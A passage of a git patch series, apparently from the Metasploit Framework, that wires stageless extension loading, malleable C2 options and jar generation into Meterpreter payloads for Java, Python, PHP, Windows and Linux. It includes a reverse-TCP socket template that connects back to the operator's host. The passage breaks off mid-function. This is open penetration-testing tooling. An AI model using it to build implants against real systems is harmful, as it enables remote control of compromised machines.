Returns + # the Rex::Zip::Jar so callers can either .pack it (legacy stage path) + # or hand it to msfvenom's encoded_jar/generate_jar pipeline. + # Extra classes the stageless jar needs beyond the shaded meterpreter jar. + # JarFileClassLoader lives in the javapayload artifact (which the shade + # plugin deliberately excludes), but `Meterpreter#loadExtension` uses it + # to load extension jars at runtime. + STAGELESS_EXTRA_CLASSES = [ + %w[com metasploit meterpreter JarFileClassLoader.class], + ].freeze + def build_stageless_jar(src_jar, config_bytes) jar = Rex::Zip::Jar.new ::Zip::File.open_buffer(::StringIO.new(src_jar)) do |zip| @@ -82,9 +92,29 @@ def build_stageless_jar(src_jar, config_bytes) jar.add_file(entry.name, entry.get_input_stream.read) end end + STAGELESS_EXTRA_CLASSES.each do |parts| + jar.add_file(parts.join('/'), ::MetasploitPayloads.read('java', *parts)) + end jar.add_file(STAGELESS_CONFIG_RESOURCE, config_bytes) jar.build_manifest(main_class: STAGELESS_MAIN_CLASS) - jar.pack + jar + end + + # `Msf::Simple::Payload.generate_simple` reaches the jar bytes via + # `encoded_jar` -> `pinst.generate_jar`. The Java meterpreter modules + # that include this mixin are all `Msf::Payload::Single` (stageless), + # so build the self-contained jar instead of falling back to + # `Msf::Payload::Java#generate_jar`, which would emit the staged + # `metasploit.Payload` loader jar. + # When the calling module flags `opts[:stageless]`, build the + # self-contained jar via `build_stageless_jar`. Otherwise fall back to + # `Msf::Payload::Java#generate_jar`, which emits the staged + # `metasploit.Payload` loader jar. + def generate_jar(opts={}) + return super unless opts[:stageless] + + src_jar = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') + build_stageless_jar(src_jar, generate_config(opts)) end def generate_config(opts={}) diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb index a496231f6560a..f81954c551c12 100644 --- a/modules/payloads/singles/java/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true)) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb index def2c50e8aa06..43158d8b6d8ed 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb index 0103ed02b6cc0..2f501c750d1d8 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb index 654613ab45cdb..823f885b47b3d 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true)) end end From 509c38e8bc7059ad7753316e18302381b560e895 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 18:00:24 +1000 Subject: [PATCH 57/65] Add support for stageless extension wiring PHP, java, python, and php. Adjusting windows to support. Mettle yet to come. --- .../core/payload/java/meterpreter_loader.rb | 2 ++ .../core/payload/python/meterpreter_loader.rb | 2 ++ .../payload/windows/meterpreter_loader.rb | 1 + .../windows/x64/meterpreter_loader_x64.rb | 1 + lib/rex/payloads/meterpreter/config.rb | 25 +++++++++++++------ .../singles/java/meterpreter_bind_tcp.rb | 6 ++++- .../singles/java/meterpreter_reverse_http.rb | 3 ++- .../singles/java/meterpreter_reverse_https.rb | 3 ++- .../singles/java/meterpreter_reverse_tcp.rb | 6 ++++- .../singles/php/meterpreter_reverse_http.rb | 5 +++- .../singles/php/meterpreter_reverse_https.rb | 5 +++- .../singles/php/meterpreter_reverse_tcp.rb | 6 +++++ .../singles/python/meterpreter_bind_tcp.rb | 5 ++++ .../python/meterpreter_reverse_http.rb | 2 ++ .../python/meterpreter_reverse_https.rb | 2 ++ .../singles/python/meterpreter_reverse_tcp.rb | 5 ++++ .../windows/meterpreter_bind_named_pipe.rb | 1 + .../singles/windows/meterpreter_bind_tcp.rb | 1 + .../windows/meterpreter_reverse_http.rb | 1 + .../windows/meterpreter_reverse_https.rb | 1 + .../windows/meterpreter_reverse_ipv6_tcp.rb | 1 + .../windows/meterpreter_reverse_tcp.rb | 1 + .../x64/meterpreter_bind_named_pipe.rb | 1 + .../windows/x64/meterpreter_bind_tcp.rb | 1 + .../windows/x64/meterpreter_reverse_http.rb | 1 + .../windows/x64/meterpreter_reverse_https.rb | 1 + .../x64/meterpreter_reverse_ipv6_tcp.rb | 1 + .../windows/x64/meterpreter_reverse_tcp.rb | 1 + 28 files changed, 77 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index 249cffb8db478..7ec6087e6ce25 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -128,6 +128,8 @@ def generate_config(opts={}) expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], + extensions: opts[:extensions] || [], + ext_format: 'jar', stageless: opts[:stageless] == true } diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 23d1bab6690dc..5bff75788fc1c 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -70,6 +70,8 @@ def generate_config(opts={}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'py', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 04c489d46e174..247129b1f2ef8 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -81,6 +81,7 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x86.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index 49b1e96ffe788..f6c2e2a22242d 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -84,6 +84,7 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x64.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 0afa8e40d1541..2f22a209c2839 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -129,8 +129,15 @@ def add_c2_tlv(tlv, opts) def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = ext_name.strip.downcase - ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", - file_extension, debug: debug_build)) + # Windows DLLs go through Reflective DLL Injection prep; non-PE + # runtimes (jar/py/php) ship the file as-is in TLV_TYPE_DATA. + if file_extension.to_s.end_with?('.dll') + ext_path = MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", + file_extension, debug: debug_build) + ext, _ = load_rdi_dll(ext_path) + else + ext = MetasploitPayloads.read('meterpreter', "ext_server_#{ext_name}.#{file_extension}".downcase) + end ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION) ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext) @@ -153,10 +160,10 @@ def config_block add_c2_tlv(config_packet, t) end - # configure the extensions - this will have to change when posix comes - # into play. - file_extension = 'x86.dll' - file_extension = 'x64.dll' unless is_x86? + # Each runtime tells us which on-disk extension file matches the + # payload (e.g. 'x86.dll', 'x64.dll', 'py', 'php', 'jar'); skip the + # extension TLV emission when the caller didn't supply one. + file_extension = @opts[:ext_format] @opts[:extensions] = [] if @opts[:extensions].blank? prev_length = @opts[:extensions].length @@ -172,8 +179,10 @@ def config_block ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l} - (@opts[:extensions] || []).each do |e| - add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) + if file_extension + (@opts[:extensions] || []).each do |e| + add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) + end end config_packet.to_r diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb index f81954c551c12..2fc72decbcb90 100644 --- a/modules/payloads/singles/java/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true)) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb index 43158d8b6d8ed..547088a445554 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -27,10 +27,11 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb index 2f501c750d1d8..a61d00294c29c 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -27,10 +27,11 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb index 823f885b47b3d..4043ef575c5c3 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true)) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb index 82297487b5459..9fabbf97a740a 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -29,6 +29,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -44,7 +45,9 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], - stageless: true, + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true }.merge(meterpreter_logging_config(opts)) config = Rex::Payloads::Meterpreter::Config.new(config_opts) diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb index 77d01dae2d2b1..8729897636d24 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -29,6 +29,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -44,7 +45,9 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], - stageless: true, + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true }.merge(meterpreter_logging_config(opts)) config = Rex::Payloads::Meterpreter::Config.new(config_opts) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 3e6eea0af17e1..37ebcfee8b086 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -26,6 +26,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_config(opts = {}) @@ -40,6 +44,8 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', stageless: true, }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index a24a92b53f407..0e5eb646fcb93 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -25,6 +25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_bind_tcp(opts = {}) @@ -34,6 +38,7 @@ def generate_bind_tcp(opts = {}) socket_setup << "s, address = bind_sock.accept()\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 847334c8d2059..11a53b9797c61 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) register_advanced_options( @@ -45,6 +46,7 @@ def generate_reverse_http(opts = {}) http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index d8ffa08d4c22a..796318daaafa3 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -28,6 +28,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) register_advanced_options( @@ -46,6 +47,7 @@ def generate_reverse_http(opts = {}) http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 78a6600f191b6..961fb540a5d3f 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -25,6 +25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_reverse_tcp(opts = {}) @@ -32,6 +36,7 @@ def generate_reverse_tcp(opts = {}) socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index f3496dee50298..e1e5f3443e55c 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 1e0572c956c29..e5aeb90c51767 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index df9e5b65f68ec..a6fdc4ca80742 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 12b5e66495363..b4d6220c27b0f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index b894677c9fec0..9bcf351593fab 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 6c4738ee56907..f4385ab26896f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index f705195f500e5..a015a949093c6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 090cb171f2e56..3444add57ae10 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 0d2ea1cdb42d2..779cbcfd79c6c 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 08a3c305e6610..77fa201cb28b3 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 6dcfc235c56f8..3b3223f384201 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index ca9321ddfdf62..1394393edae44 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) From 7627ef1c9d67b8ec7ce4c5e7cccebf9bb4690668 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 18:13:22 +1000 Subject: [PATCH 58/65] Add stageless extension support to mettle --- lib/msf/base/sessions/mettle_config.rb | 12 ++++++++++++ lib/rex/payloads/meterpreter/config.rb | 17 ++++++++++++++--- .../linux/aarch64/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/aarch64/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/aarch64/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/armbe/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/armbe/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/armbe/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/armle/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/armle/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/armle/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/mips64/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/mips64/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/mips64/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/mipsbe/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/mipsbe/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/mipsbe/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/mipsle/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/mipsle/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/mipsle/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/x64/meterpreter_reverse_http.rb | 3 +++ .../linux/x64/meterpreter_reverse_https.rb | 3 +++ .../linux/x64/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/x86/meterpreter_reverse_http.rb | 3 +++ .../linux/x86/meterpreter_reverse_https.rb | 3 +++ .../linux/x86/meterpreter_reverse_tcp.rb | 6 ++++++ .../linux/zarch/meterpreter_reverse_http.rb | 8 ++++++++ .../linux/zarch/meterpreter_reverse_https.rb | 8 ++++++++ .../linux/zarch/meterpreter_reverse_tcp.rb | 6 ++++++ 29 files changed, 204 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index d14e1959a3c47..50fb6c252c4ea 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -123,12 +123,24 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'bin', + mettle_platform: opts[:mettle_platform], stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) config = Rex::Payloads::Meterpreter::Config.new(config_opts) opts[:config_block] = config.to_b + # Mettle reserves a fixed 8 KB slot in the binary for the config + # block. Catch the overflow here with a useful message instead of + # letting the gem's `to_binary` raise a generic "config block too + # large" — baked-in EXTENSIONS= is the usual culprit. + if opts[:config_block].length > MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX + raise ArgumentError, "Mettle config block (#{opts[:config_block].length} bytes) exceeds the #{MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX}-byte embedded slot. " \ + "Drop EXTENSIONS= and `load ` once the session is up." + end + # Keep the legacy CLI config for backward compatibility during # transition. Skipped for staged payloads, which have no transport. transport = opts[:transport_config].first diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 2f22a209c2839..c122741476603 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -129,12 +129,23 @@ def add_c2_tlv(tlv, opts) def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = 